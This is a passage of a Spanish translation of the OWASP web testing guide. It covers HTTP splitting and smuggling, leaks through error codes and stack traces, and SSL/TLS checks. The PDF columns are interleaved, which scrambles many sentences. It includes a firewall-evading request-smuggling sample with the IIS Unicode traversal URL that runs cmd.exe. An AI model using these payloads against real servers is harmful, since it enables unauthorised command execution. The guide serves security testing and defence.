Para una discusin ms detallada sobre este ataque y otra informacin
acerca de posibles escenarios y aplicaciones, consulte los documentos
mencionados en la parte inferior de esta seccin.
De esta manera, un atacante podr desfigurar con eficacia el sitio para los
usuarios utilizando ese cach web (todo el Internet, si la memoria cach
web es un proxy inverso para la aplicacin web). Por otro lado, el
atacante podra pasar a estos usuarios un fragmento de cdigo JavaScript Pruebas de Caja Gris
que monta un ataque de cross site scripting, por ejemplo, para robar las
cookies. Tenga en cuenta que mientras la vulnerabilidad est en la Separacin HTTP
aplicacin, el objetivo sern sus usuarios. Por lo tanto, para buscar esta
vulnerabilidad, el evaluador debe identificar todos los ingresos Ayuda enormemente a una explotacin exitosa de separacin HTTP si se
controlados por el usuario que influyen en una o ms respuestas en los sabe algunos detalles de la aplicacin web y del destino del ataque. Por
encabezados y comprobar si puede inyectar con xito una secuencia ejemplo, diferentes objetivos pueden utilizar diversos mtodos para
CR+LF. decidir cundo termina el primer mensaje HTTP y cundo inicia el
segundo. Algunos utilizan los lmites del mensaje, como en el ejemplo
anterior. Otros objetivos asumen que diferentes mensajes se
transportarn en diferentes paquetes. Otros destinarn para cada
Los encabezados que son los candidatos ms probables para estos mensaje un nmero de piezas de longitud predeterminada: en este caso,
ataques son: el segundo mensaje debe iniciar exactamente al principio del pedazo y,
para ello, ser necesario que el evaluador utilice relleno entre los dos
mensajes.
Location
Set-Cookie Esto podra provocar algunos problemas cuando el parmetro vulnerable

es enviado en la URL, ya que es probable que una URL muy larga se
trunque o filtre. Un escenario de Caja Gris puede ayudar al atacante a
encontrar una solucin: varios servidores de aplicaciones, por ejemplo,
Debe observarse que una exitosa explotacin de esta vulnerabilidad en un permitirn que la solicitud se enve mediante POST en lugar de GET.
escenario del mundo real puede ser bastante compleja, ya que varios
factores deben tomarse en cuenta:

239
Contrabando HTTP <CRLF>
Como se mencion en la introduccin, el contrabando HTTP aprovecha POST /target.asp HTTP/1.0 <-- Request #3
las diferentes maneras en que un mensaje HTTP especialmente diseado
puede ser analizado e interpretado por los diferentes agentes xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <--
(navegadores, cachs web, aplicaciones de firewalls). Este relativamente Request #4
nuevo tipo de ataque fue descubierto por Chaim Linhart, Amit Klein,
Ronen Heled y Steve Orrin en 2005. Connection: Keep-Alive
<CRLF>
Hay varias aplicaciones posibles y vamos a analizar una de las ms

espectaculares: la evasin de una aplicacin de firewall. Consulte el
artculo original del Libro Blanco (enlazado al final de esta pgina) para Lo que pasa aqu es que la peticin #1 est hecha de 49223 bytes, e
informacin ms detallada y otros escenarios. incluye tambin las lneas de peticin #2. Por lo tanto, un firewall (o
cualquier otro agente aparte de IIS 5.0) ver la peticin #1, dejar de ver
la peticin #2 (sus datos sern slo una parte de la #1), ver la solicitud
#3 y no ver la solicitud #4 (porque el POST va a ser slo una parte del
Evasin de la aplicacin de Firewall encabezado falso xxxx).
Hay varios productos que permiten a la administracin del sistema

detectar y bloquear una solicitud web hostil segn ciertos patrones
maliciosos conocidos, que estn incrustados en la solicitud. Por ejemplo, Ahora, qu pasa con IIS 5.0? Dejar de analizar la peticin #1 despus de
considere el infame ataque del directorio Unicode old contra el servidor 49152 bytes de basura (habr alcanzado el lmite de 48 K = 49152 bytes)
IIS (http://www.securityfocus.com/bid/1806), en el que un atacante y, por lo tanto, analizar la peticin #2 como una nueva solicitud
podra romper la www.root emitiendo una solicitud como: separada. La solicitud #2 afirma que su contenido es 33 bytes, que incluye
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<comma todo hasta "xxxx:", que hace que IIS pierda la solicitud #3
nd_to_execute></command_to_execute> (interpretndola como parte de la peticin #2), pero encuentra la
solicitud #4, ya que su POST comienza justo despus de los 33 bytes o la
solicitud #2. Es un poco complicado, pero el punto es que la URL de
ataque no ser detectada por el firewall (se interpreta como parte del
Por supuesto, este ataque es bastante fcil de detectar y filtrar por la cuerpo de una solicitud anterior), pero ser correctamente analizada (y
presencia de cadenas como ".." y "cmd.exe" en la URL. Sin embargo, IIS 5.0 ejecutada) por IIS.
es bastante exigente con las peticiones POST cuyo cuerpo es de hasta 48K
bytes y trunca todo el contenido que est ms all de este lmite cuando la
cabecera Content-Type es diferente de laaplicacin/x-www-form-
urlencoded. El evaluador de edicin puede aprovechar esto mediante la Mientras que en el caso anterior la tcnica explota un error de un
creacin de un pedido muy grande, estructurado de la siguiente manera: servidor web, hay otros escenarios en los que podemos aprovechar las
distintas maneras en que diferentes dispositivos basados en HTTP
POST /target.asp HTTP/1.1 <-- Request #1 permiten analizar mensajes que no son compatibles con 1005 RFC.
Host: target
Connection: Keep-Alive Por ejemplo, el protocolo HTTP permite slo un encabezado Content-
Length, pero no especifica cmo manejar un mensaje que tiene dos
Content-Length: 49225 instancias de este encabezado. Algunas implementaciones utilizarn el
primero de ellos mientras que otras preferirn la segunda, limpiando el
<CRLF> camino para ataques de contrabando HTTP. Otro ejemplo es el uso del
encabezado Content-Length en un mensaje GET.
<49152 bytes of garbage>
POST /target.asp HTTP/1.0 <-- Request #2

Tenga en cuenta que el contrabando HTTP *no* explota ninguna
Connection: Keep-Alive vulnerabilidad en la aplicacin web de destino. Por lo tanto, puede ser
algo complicado, en una relacin de evaluador de edicin, convencer al
Content-Length: 33 cliente que una contramedida debe ser buscada de todas maneras.

240
como las que se describen en 4.2.1 Realice descubrimientos de motores

de bsqueda y reconocimiento de fugas de informacin (OTG-INFO -001)
Referencias
Libros Blancos
Errores de servidor web
Amit Klein, Divide and Conquer: HTTP Response Splitting, Web Cache
Poisoning Attacks, and RelatedTopics: packetstormsecurity.org Un error comn que podemos ver durante la prueba es el HTTP 404 Not
Found. A menudo este cdigo de error proporciona informacin til sobre
Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: HTTP Request el servidor web subyacente y componentes asociados. Por ejemplo:
Smuggling: cgisecurity.com
Not Found
Amit Klein: HTTP Message Splitting, Smuggling and Other Animals:
owasp.org The requested URL /page.html was not found on this server.
Amit Klein: HTTP Request Smuggling - ERRATA (the IIS 48K buffer Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at
phenomenon): securityfocus.com localhost Port 80
Amit Klein: HTTP Response Smuggling: securityfocus.com
Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: HTTP Request Este mensaje de error puede generarse por solicitar una URL no
Smuggling: cgisecurity.com existente. Despus del mensaje comn que muestra una pgina no
encontrada, hay informacin sobre la versin del servidor web, sistema
operativo, mdulos y otros productos utilizados. Esta informacin puede
ser muy importante desde el punto de vista de identificar el tipo y versin
Pruebas de errores de cdigo (OTG-ERR-001)
del sistema operativo y aplicaciones.
Resumen
A menudo, durante una prueba de penetracin en aplicaciones web, nos

Otros cdigos de respuesta HTTP tales como 400 Bad Request, 405
encontramos con muchos errores de cdigo generados por aplicaciones o
Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out
servidores web. Es posible hacer que estos errores se muestren al utilizar una
and 505 HTTP Version Not Supported pueden ser forzados por un
solicitud personalizada, creada especialmente con herramientas o
atacante. Cuando reciben solicitudes especialmente diseadas, los
manualmente. Estos cdigos son muy tiles para los evaluadores de
servidores web pueden proporcionar uno de estos cdigos de error,
penetracin durante sus actividades, ya que revelan mucha informacin sobre
dependiendo de su aplicacin HTTP.
bases de datos, errores y otros componentes tecnolgicos directamente
relacionados con aplicaciones web.
Probar en busca de informacin divulgada en los cdigos de error del

servidor web est relacionado con las pruebas de informacin en los
Esta seccin analiza los cdigos ms comunes (mensajes de error) y se enfoca
en su importancia durante una evaluacin de la vulnerabilidad. encabezados HTTP, como se describe en la seccin Use huellas digitales
en el servidor web (OTG-INFO-002).
El aspecto ms importante para esta actividad es centrar la atencin en estos

errores, verlos como una coleccin de informacin que ayudar en los pasos Errores de servidores de aplicaciones
de nuestro anlisis. Una buena coleccin puede facilitar la eficiencia de la
evaluacin reduciendo el tiempo total tomado para realizar la prueba de Los errores de aplicacin son devueltos por la misma aplicacin ms que
penetracin. por el servidor web. Estos pueden ser mensajes de error de cdigo del
framework (ASP, JSP etc.) o pueden ser errores especficos devueltos por
el cdigo de la aplicacin. Los errores detallados de la aplicacin
normalmente proporcionan informacin de las rutas del servidor,
Los atacantes a veces usan motores de bsqueda para localizar errores bibliotecas instaladas y versiones de aplicaciones.
que divulguen la informacin. Las bsquedas se realizan para encontrar
los sitios errneos como vctimas al azar, o es posible buscar errores en
un sitio especfico utilizando el motor de bsqueda, herramientas de filtro
Errores de base de datos

241
Los errores de base de datos son devueltos por el sistema de base de no maneja la excepcin de una forma controlada. Esto puede ser causado
datos cuando hay un problema con la consulta o la conexin. Cada por un problema de resolucin del nombre de la base de datos,
sistema de base de datos, como MySQL, Oracle o MSSQL, tiene su propio procesamiento de valores variable inesperados u otros problemas de red.
conjunto de errores. Esos errores pueden proporcionar informacin
confidencial como las IP del servidor de base de datos, tablas, columnas y
datos de inicio de sesin.
Considere el escenario donde tenemos un portal de administracin de base de
datos, que puede utilizarse como un front-end GUI para emitir consultas de
base de datos, crear tablas y modificar campos de bases de datos. Durante el
Adems, hay muchas tcnicas de explotacin de inyeccin SQL que POST de las credenciales de inicio de sesin, el siguiente mensaje de error se
utilizan los mensajes de error detallados desde el controlador de la base presenta en las pruebas de penetracin. El mensaje indica la presencia de un
de datos. Para informacin ms detallada sobre este tema vea Pruebas de servidor de base de datos MySQL:
inyecciones de SQL (OTG-INPVAL-005).
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)

Los errores de servidor web no son la nica respuesta til que requieren
anlisis de seguridad. Considere el siguiente mensaje de error de ejemplo: [MySQL][ODBC 3.51 Driver]Unknown MySQL server host
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access Si vemos en el cdigo HTML de la pgina de inicio de sesin la presencia de
denied un campo oculto con una IP de una base de datos, podemos intentar cambiar
este valor en la URL con la direccin de un servidor de base de datos bajo el
control de evaluadores de penetracin, en un intento de engaar a la
aplicacin para que piense que la conexin fue exitosa.
Qu pas? A continuacin vamos a explicarlo paso a paso.
Otro ejemplo: sabiendo cul es el servidor de base de datos que sirve a una
En este ejemplo, el 80004005 es un cdigo de error IIS genrico que aplicacin web, podemos aprovechar esta informacin para llevar a cabo una
indica que no pudo establecer una conexin con su base de datos inyeccin de SQL para ese tipo de base de datos o una prueba XSS
asociada. En muchos casos, el mensaje de error detalla el tipo de base de persistente.
datos. A menudo esto le indicar el sistema operativo subyacente por
asociacin. Con esta informacin, el evaluador de penetracin puede
planear una estrategia adecuada para la prueba de seguridad.
Cmo probar
A continuacin vemos algunos ejemplos de pruebas de los mensajes de error

Mediante la manipulacin de las variables que se pasan a la cadena de detallados, devueltos al usuario. Cada uno de los siguientes ejemplos tiene
informacin especfica sobre el sistema operativo, versin de la aplicacin,
coneccin de la base de datos, podemos invocar errores ms detallados.
etc.
Microsoft OLE DB Provider for ODBC Drivers error 80004005
[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open

Prueba: 404 Not Found
registry key DriverId
telnet <host target> 80
GET /<wrong page> HTTP/1.1

En este ejemplo, podemos ver un error genrico en la misma situacin
que revela el tipo y versin del sistema de base de datos asociada y una
host: <host target>
dependencia de valores claves del registro del sistema operativo de
Windows.
<CRLF><CRLF>
Ahora veremos un ejemplo prctico con una prueba de seguridad contra

Resultado:
una aplicacin web que pierde su enlace a su servidor de base de datos y
242
HTTP/1.1 404 Not Found
Date: Sat, 04 Nov 2006 15:26:48 GMT Prueba: 400 Bad Request
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g telnet <host target> 80
Content-Length: 310 GET / HTTP/1.1
Connection: close <CRLF><CRLF>
Content-Type: text/html; charset=iso-8859-1
... Resultado:
<title>404 Not Found</title> HTTP/1.1 400 Bad Request
... Date: Fri, 06 Dec 2013 23:57:53 GMT
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at <host target> Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Port 80</address>
Content-Length: 301
Prueba:
Connection: close
Problemas de red que llevan a que la aplicacin no pueda acceder al servidor de
bases de datos Content-Type: text/html; charset=iso-8859-1
...
Resultado: <title>400 Bad Request</title>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) ...
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
127.0.1.1 Port 80</address>
...
Prueba:
Error de autenticacin debido a credenciales faltantes

Prueba: 405 Method Not Allowed

Resultado:
PUT /index.html HTTP/1.1
Versin de Firewall usada para autenticacin:
Host: <host target>
Error 407
<CRLF><CRLF>
FW-1 at <firewall>: Unauthorized to access the document.
Authorization is needed for FW-1.

Resultado:
The authentication required by FW-1 is: unknown.
HTTP/1.1 405 Method Not Allowed
Reason for failure of last attempt: no user
Date: Fri, 07 Dec 2013 00:48:57 GMT

243
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
<host target> Port 80</address>
Allow: GET, HEAD, POST, OPTIONS
...
Content-Length: 315
Prueba: 501 Method Not Implemented
Connection: close
RENAME /index.html HTTP/1.1
...
Host: <host target>
<title>405 Method Not Allowed</title>
<CRLF><CRLF>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at

<host target> Port 80</address> Resultado:
... HTTP/1.1 501 Method Not Implemented
Date: Fri, 08 Dec 2013 09:59:32 GMT
Prueba: 408 Request Time-out Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
telnet <host target> 80 Allow: GET, HEAD, POST, OPTIONS
GET / HTTP/1.1 Vary: Accept-Encoding
-Wait X seconds (Depending on the target server, 21 seconds for Apache by Content-Length: 299
default)
Connection: close

Resultado:
...
HTTP/1.1 408 Request Time-out
<title>501 Method Not Implemented</title>
Date: Fri, 07 Dec 2013 00:58:33 GMT
...
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
Vary: Accept-Encoding <host target> Port 80</address>
Content-Length: 298 ...
Connection: close
Content-Type: text/html; charset=iso-8859-1 Prueba: 403 Forbidden:
... Enumeracin de directorios usando mensajes de error de acceso denegado:<br>
<title>408 Request Time-out</title>
... http://<host>/<dir>

244
Hay varias maneras por las cuales se pueden manejar errores en

framework dot.net. Los errores se manejan en tres lugares en ASP. net:
Resultado:
Dentro de la seccin Web.config customErrors
Directory Listing Denied
Dentro de global.asax Application_Error Sub
This Virtual Directory does not allow contents to be listed.
En la aspx o pgina codebehind asociada en Page_Error sub
Herramientas
<customErrors defaultRedirect=myerrorpagedefault.aspx
ErrorMint : sourceforge.net mode=On|Off|RemoteOnly>
ZAP Proxy: owasp.org <error statusCode=404 redirect=myerrorpagefor404.aspx/>
<error statusCode=500 redirect=myerrorpagefor500.aspx/>
Referencias </customErrors>
[RFC2616] ietf.org
[ErrorDocument] httpd.apache.org Manejo de errores usando web.config
[AllowOverride] httpd.apache.org mode=On encender los errores personalizados. mode=RemoteOnly

mostrar errores personalizados a los usuarios de la aplicacin web
[ServerTokens] httpd.apache.org
remota. Un usuario que accede al servidor local se presentar con la pila
de datos completa y los errores personalizados no se le mostrarn.
[ServerSignature] httpd.apache.org
Todos los errores, salvo los expresamente sealados, causarn una

Remediacin
redireccin al recurso especificado por defaultRedirect, es decir,
myerrorpagedefault.aspx. Un cdigo de estado 404 se manejar por
Manejo de errores en IIS y ASP .net
myerrorpagefor404.aspx.
ASP.net es un framework comn de Microsoft utilizado para desarrollar
aplicaciones web. IIS es uno de los servidores web ms utilizados. Los
errores se producen en todas las aplicaciones, los desarrolladores
Manejo de errores en Global.asax
intentan atrapar la mayora de errores, pero es casi imposible cubrir cada
excepcin (sin embargo, es posible configurar el servidor web para
Cuando se produce un error, se contacta al sub Application_Error. Un
suprimir que sean devueltos los mensajes de error detallado al usuario).
desarrollador puede escribir cdigo para el redireccionamiento del
manejo de las pginas de error en esta sub.
Private Sub Application_Error (ByVal sender As Object, ByVal e As

IIS utiliza un conjunto de pginas de error personalizadas que
System.EventArgs)
generalmente se encuentra en c:\winnt\help\iishelp\common para
mostrar los errores como "404 page not found " al usuario.
Handles MyBase.Error
End Sub
Estas pginas por defecto se pueden cambiar y los errores personalizados

pueden configurarse para el servidor IIS. Cuando IIS recibe una solicitud
de una pgina aspx, la solicitud pasa al framework dot.net.
Manejo de errores en Page_Error sub
Esto es similar al error de aplicacin.
Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)

245
Handles MyBase.Error
End Sub The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one of its
dependencies) could have been removed, had its name
Jerarqua de errores en ASP .net
El sub Page_Error ser procesado en primer lugar, seguido por global.asax

Application_Error sub, y, finalmente, la seccin de customErrors en los errores personalizados de .net no estn configurados.
web.config file.
Manejo de errores en Apache

La recoleccin de informacin en aplicaciones web con tecnologa del lado
del servidor es bastante difcil, pero la informacin descubierta puede ser til Apache es un servidor HTTP comn para atender pginas HTML y PHP. Por
para la correcta ejecucin de un intento de explotacin (por ejemplo, defecto, Apache muestra la versin del servidor, los productos instalados y el
inyeccin SQL o ataques de Cross Site Scripting (XSS)) y puede reducir sistema operativo instalado dentro de las respuestas de error en HTTP.
falsos positivos.
Las respuestas a los errores pueden configurarse y personalizarse a nivel
global, por sitio o por directorio en el apache2.conf usando la Directiva
ErrorDocument [2]
Cmo probar el manejo de errores deASP.net y IIS
ErrorDocument 404 Customized Not Found error message
Encienda su navegador y escriba un nombre aleatorio de pgina
ErrorDocument 403 /myerrorpagefor403.html
http:\\www.mywebserver.com\anyrandomname.asp
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html
Si el servidor devuelve
Los administradores del sitio pueden gestionar sus propios errores con el
The page cannot be found archivo .htaccess si la directiva global AllowOverride est configurada
correctamente en apache2.conf [3]
Internet Information Services

La informacin mostrada por Apache en los errores HTTP tambin puede
configurarse mediante las directivas ServerTokens [4] y ServerSignature [5]
en el archivo de configuracin apache2.conf. "ServerSignature Off" (cargado
Significa que los errores personalizados de IIS no estn configurados. Por por defecto) elimina la informacin del servidor de las respuestas de error,
favor observe la extensin .asp. mientras que ServerTokens [ProductOnly| Major| Minor| Minimal|OS|Full]
(Full por defecto) define qu informacin debe constar en las pginas de error.
Tambin pruebe los errores personalizados de .net. Escriba un nombre

aleatorio de pgina con una extensin aspx en su navegador Manejo de errores en Tomcat
http:\\www.mywebserver.com\anyrandomname.aspx Tomcat es un servidor HTTP para alojar aplicaciones JSP y Java Servlet. Por
defecto Tomcat muestra la versin del servidor en las respuestas de error
HTTP.
Si el servidor devuelve
Server Error in / Application. La personalizacin de las respuestas de error se puede configurar en el

documento de configuracin web.xml.
--------------------------------------------------------------------------------
<error-page>

246
<error-code>404</error-code> Todas las pruebas anteriores podran llevar a errores de aplicacin que pueden
contener restos de pila de datos. Se recomienda utilizar un comprobador
<location>/myerrorpagefor404.html</location> aleatorio adicional a cualquier prueba manual.
</error-page>
Algunas herramientas, como OWASP ZAP y Burp proxy, detectarn estas

excepciones en la secuencia de respuesta como mientras estn haciendo otros
Pruebas para determinar los rastros de pilas de datos(OTG-ERR-002) trabajos de pruebas y penetracin.
Resumen
Los rastros de pilas de datos no son vulnerabilidades por s mismas, pero a Pruebas de Caja Gris
menudo revelan informacin que es interesante para un atacante. Los
atacantes intentan generar estos rastros de pila de datos mediante la alteracin Buscar el cdigo para las comunicaciones que causan una excepcin
del ingreso a la aplicacin web con peticiones HTTP con formato incorrecto y representada en una cadena o secuencia de salida. Por ejemplo, en Java podra
otros datos de ingreso. ser cdigo en JSP que se ve asi:
<% e.printStackTrace( new PrintWriter( out ) ) %>
Si la aplicacin responde con rastros de pilas de datos que no se manejan,

podra revelar informacin til a los atacantes. Esta informacin podra
utilizarse en otros ataques. Proporcionar informacin de depuracin como En algunos casos, el rastro de la pila de datos ser un formato en HTML
resultado de las operaciones que generan errores se considera una mala especficamente, as que asegrese de buscar elementos de rastros de pila de
prctica por varias razones. Por ejemplo, puede contener informacin sobre el datos.
funcionamiento interno de la aplicacin como rutas relativas del punto donde
est instalada la aplicacin o como se referencian los objetos internamente.
Busque la configuracin para comprobar el manejo de errores y el uso de

pginas de error por defecto. Por ejemplo, en Java, esta configuracin puede
Cmo probar encontrarse en web.xml.
Hay una variedad de tcnicas que pueden provocar que mensajes de excepcin Herramientas
se enven en una respuesta HTTP. Tenga en cuenta que en la mayora de los
casos se trata de una pgina HTML, pero las excepciones se pueden enviar ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
como parte de las respuestas SOAP o REST tambin.
Attack_Proxy_Project
Algunas pruebas que se deben incluir son:

Referencias
Entrada no vlida (como la entrada que no es coherente con la lgica de la
aplicacin). [RFC2616] Hypertext Transfer Protocol - http://www.ietf.org/rfc/rfc2616.txt
Las entradas que contienen caracteres no alfanumricos o consultas de

sintaxis.
Pruebas de codificadores SSL/TLS dbiles, proteccin de transporte de capas
Entradas vacas. insuficiente (OTG-CRYPST-001)
Entradas que son muy largas. Resumen
Acceso a pginas internas sin autenticacin. Los datos sensibles deben ser protegidos cuando se transmiten a travs de la
red. Dichos datos pueden incluir credenciales y tarjetas de crdito del usuario.
Esquivar el flujo de la aplicacin. Como regla general, si los datos se deben proteger cuando se almacenan, se
deben proteger tambin durante la transmisin.

247
La aplicacin no debe transmitir informacin sensible a travs de canales sin

codificar. Normalmente es posible encontrar la autenticacin bsica en HTTP,
HTTP es un protocolo de texto y normalmente se asegura mediante un tnel contrasea de ingreso o la cookie de sesin enviada a travs de HTTP y, en general,
SSL/TLS, dando como resultado trfico en HTTPS [1]. El uso de este otra informacin considerada sensible por las regulaciones, leyes o polticas
protocolo asegura no slo confidencialidad, sino tambin la autenticacin. Los organizacionales.
servidores se autentican mediante certificados digitales y tambin es posible
utilizar el certificado de cliente para una autenticacin mutua.
Aunque los cifrados de alto nivel se apoyan hoy en da y son utilizados SSL/TLS Ciphers/Protocols/Keys dbiles
normalmente, algn error de configuracin en el servidor puede utilizarse para
forzar el uso de un cifrado dbil - o, en el peor caso, ningn cifrado - Histricamente, ha habido limitaciones determinadas por el gobierno de Estados
permitiendo a un atacante acceder al canal de comunicacin supuestamente Unidos, que permiten la exportacin del cifrado slo de un tamao de hasta 40
seguro. Otras configuraciones errneas pueden usarse para un ataque de bits, una longitud de clave que podra ser rota y permitira el descifrado de
negacin de servicio. comunicaciones. Desde entonces, las regulaciones de exportacin criptogrfica se
han allanado a un tamao de clave mximo de 128 bits.
Asuntos comnes
Es importante comprobar que la configuracin de SSL ha sido usada para evitar la
Se produce una vulnerabilidad si se utiliza el protocolo HTTP para transmitir puesta en marcha del soporte criptogrfico que podra ser fcilmente derrotado.
informacin sensible [2] (e.g. credenciales transmitidas en HTTP [3]). Para alcanzar este objetivo, los servicios basados en SSL no deberan ofrecer la
posibilidad de escoger una suite de cifrado dbil. Una suite de cifrado se especifica
mediante un protocolo de cifrado (por ejemplo, DES, RC4, AES), la longitud de
cifrado de clave (por ejemplo, 40, 56 o 128 bits) y un algoritmo de hash (SHA,
La presencia de un servicio SSL/TLS es buena, pero aumenta la superficie de MD5) utilizado para verificar la integridad.
ataque y pueden existir las siguientes vulnerabilidades:
Brevemente, los puntos clave para la determinacin de la suite de cifrado son las
Los protocolos SSL/TLS, cifrados, claves y renegociacin, deben estar siguientes:
correctamente configurados.
La validez del certificado debe estar garantizada.

[1] El cliente enva al servidor un mensaje ClientHello, especificando, entre
otros datos, el protocolo y las suites de cifrado que puede manejar. Tome en
cuenta que un cliente es generalmente un navegador web (actualmente, el ms
Otras vulnerabilidades vinculadas a esto son: popular es un cliente SSL), pero no necesariamente, ya que puede ser
cualquier aplicacin habilitada para SSL; lo mismo se aplica para el servidor,
que puede no ser un servidor web, aunque este es el caso ms comn [9].
Debe actualizarse el software expuesto debido a la posibilidad de vulnerabilidades

conocidas [4].
[2] El servidor responde con un mensaje de ServerHello, que contiene la suite
Use banderas de seguridad para las Cookies de sesin [5]. de protocolo y algoritmo de cifrado elegidos que sern utilizados para esta
sesin (generalmente el servidor selecciona la suite de protocolo y algoritmo
El uso de Seguridad estricta de transporte HTTP (HSTS) [6]. de cifrado ms fuerte que soporta tanto el cliente como el servidor).
La presencia tanto de HTTP como HTTPS, lo cual se puede utilizar tambin para
interceptar trfico [7], [8].
Es posible (por ejemplo, por medio de las directivas de configuracin)
La presencia de contenido mezclado de HTTPS y HTTP en la misma pgina, lo especificar qu suites de cifrado el servidor obedecer. De esta manera, usted
cual puede usarse para filtrar informacin. puede controlar si las conversaciones con los clientes aceptarn solamente un
cifrado de 40 bits.
Datos sensibles transmitidos en texto transparente

[1] El servidor enva su mensaje de certificado y, si requiere autenticacin del
cliente, tambin enva un mensaje de CertificateRequest al cliente.

248
Cada navegador viene con una lista previamente cargada de CA de confianza,

contra la cual se compara el certificado de firma de CA (esta lista se puede
[2] El servidor enva un mensaje ServerHelloDone y espera una respuesta del personalizar y ampliar a voluntad). Durante las negociaciones iniciales con un
cliente. servidor HTTPS, si el certificado del servidor se refiere a una entidad
desconocida para el navegador, se genera una advertencia. Esto sucede ms a
menudo debido a que una aplicacin web se basa en un certificado firmado por
una CA autoestablecida. Si debe considerarse esto como un problema, depende
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del de varios factores. Por ejemplo, esto puede estar bien para un entorno de Intranet
certificado digital del servidor. (piense en correo web corporativo que se proporciona va HTTPS; aqu,
obviamente, todos los usuarios reconocen la CA interna como una CA de
confianza). Sin embargo, cuando se proporciona un servicio va Internet al
pblico en general, (es decir, cuando es importante verificar positivamente la
Validez del certificado SSL cliente y servidor identidad del servidor con el cual nos comunicamos), generalmente es
imprescindible contar con una CA de confianza, que es reconocida por toda la
Al acceder a una aplicacin web mediante el protocolo HTTPS, se establece base de usuarios (y aqu paramos nuestras observaciones; no ahondamos ms en
un canal seguro entre el cliente y el servidor. Luego se establece la identidad lo que implica el modelo de confianza utilizado para certificados digitales).
de uno (el servidor) o de ambas partes (cliente y servidor) por medio de
certificados digitales. As, una vez determinada la suite de cifrado, el "SSL
Handshake" contina con el intercambio de los certificados:
Los certificados tienen un perodo de validez asociado, por lo tanto, pueden
expirar. Una vez ms, se nos advierte mediante el explorador sobre esto. Un
servicio pblico necesita un certificado temporal vlido; de lo contrario, significa
[1] El servidor enva su mensaje de certificado y, si se requiere autenticacin que estamos hablando con un servidor cuyo certificado fue emitido por alguien
de cliente, tambin enva al cliente un mensaje de CertificateRequest. de confianza, pero caduc y no ha sido renovado.
[2] El servidor enva un mensaje ServerHelloDone y espera una respuesta del Qu pasa si el nombre en el certificado y el nombre del servidor no coinciden?
cliente. Si esto sucede, puede sonar sospechoso. Por varias razones, esto no es tan raro
de ver. Un sistema puede albergar un nmero de hosts virtuales basados en el
nombre, que comparten la misma direccin IP y se identifican mediante el HTTP
1.1 Host: header information. En este caso, puesto que el protocolo de enlace
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del
SSL comprueba el certificado del servidor antes de que se procese la peticin
certificado digital del servidor.
HTTP, no es posible asignar certificados diferentes a cada servidor virtual. Por
lo tanto, si el nombre del sitio y el nombre registrado en el certificado no
coinciden, tenemos una condicin que tpicamente se seala por parte del
navegador. Para evitar esto, deben utilizarse servidores virtuales basados en IP.
Para que la comunicacin se establezca, se debe pasar una serie de controles
[33] y [34] describen tcnicas para lidiar con este problema y permitir que los
sobre los certificados. Aunque hablar de la autenticacin basada en SSL y
hosts virtuales basados en el nombre estn correctamente referenciados.
certificados est ms all del alcance de esta gua, esta seccin se centrar en
los principales criterios involucrados en determinar la validez del certificado:
Otras vulnerabilidades
Compruebe si la autoridad de certificacin (CA) es conocida (es decir, una que
La presencia de un nuevo servicio, que escucha en un puerto tcp separado, puede
se considera de confianza);
generar vulnerabilidades tales como las de infraestructura si el software no est
actualizado [4]. Adems, para la correcta proteccin de datos durante la
Compruebe que el certificado es vlido;
transmisin, la Cookie de sesin debe usar la bandera de seguridad [5] y algunas
directivas deben enviarse al navegador para aceptar slo trfico seguro (HSTS
Compruebe que el nombre del sitio y el nombre registrado en el certificado
[6], CSP).
concuerden.
Tambin hay algunos ataques que pueden utilizarse para interceptar el trfico si
Vamos a examinar cada comprobacin ms detalladamente.
el servidor web expone la solicitud HTTP y HTTPS [6], [7] o en el caso de
recursos HTTP y HTTPS mezclados en la misma pgina.

249
Cmo probar Al momento de escribir este documento, estos criterios son ampliamente
reconocidos como una lista de verificacin mnima:
Prueba de transmisin de datos sensibles en texto claro
Diversos tipos de informacin que deben ser protegidos pueden transmitirse

tambin en texto claro. Es posible verificar si esta informacin se transmite a No deben utilizarse cifrados dbiles (por ejemplo, menos de 128 bits [10]; sin
travs de HTTP en lugar de HTTPS. Por favor, consulte las pruebas suites de cifrado NULL, debido a que no utilizan encriptado; sin Anonymous
especficas para ver detalles completos, de credenciales [3] y otro tipo de Diffie-Hellmann, debido a que no provee autenticacin).
datos [2].
Los protocolos dbiles deben desactivarse (por ejemplo: SSLv2 debe desactivarse
debido a las debilidades conocidas en el diseo del protocolo [11]).
Ejemplo 1. Autenticacin bsica en HTTP La renegociacin debe estar configurada correctamente (por ejemplo: Insecure
